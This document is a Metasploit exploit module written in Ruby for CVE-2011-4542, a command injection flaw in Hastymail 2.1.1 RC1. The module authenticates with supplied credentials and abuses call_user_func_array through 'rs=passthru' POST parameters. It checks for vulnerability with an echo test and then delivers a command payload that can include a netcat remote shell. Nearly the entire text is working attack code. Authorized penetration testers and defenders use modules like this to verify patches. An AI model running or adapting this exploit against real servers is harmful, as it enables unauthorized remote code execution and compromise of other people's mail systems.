Hastymail 2.1.1 RC1 – Command Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Hastymail 2.1.1 RC1 Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Hastymail 2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on the "lib/ajax_functions.php" script. Authentication is required on Hastymail in order to exploit the vulnerability. The module has been successfully tested on Hastymail 2.1.1 RC1 over Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bruno Teixeira', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-4542' ], [ 'BID', '50791' ], [ 'OSVDB', '77331' ], [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby netcat-e', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Hastymail 2.1.1 RC1', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 22 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]), OptString.new('USER', [true, "The username to authenticate with", ""]), OptString.new('PASS', [true, "The password to authenticate with", ""]) ], self.class) end def check @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' @session_id = "" @peer = "#{rhost}:#{rport}" login if not @session_id or @session_id.empty? print_error "#{@peer} - Authentication failed" return Exploit::CheckCode::Unknown end test = rand_text_alpha(rand(4) + 4) data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=echo #{test}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'data' => data }) if res and res.code == 200 and res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}?page=login", 'vars_post' => { 'user' => datastore['USER'], 'pass' => datastore['PASS'], 'login' => 'Login' } }) if res and res.code == 303 @session_id = res["Set-Cookie"] print_good "#{@peer} - Authentication successfully" end end def exploit @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' @session_id = "" @peer = "#{rhost}:#{rport}" print_status "#{@peer} - Trying login" login if not @session_id or @session_id.empty? print_error "#{@peer} - Authentication failed" return end print_status "#{@peer} - Authentication successfully, trying to exploit" data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=#{payload.encoded}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) }, 'data' => data }) if not res or res.code != 200 or not res.body =~ /\+/ print_error "#{@peer} - Exploitation failed" return end end end |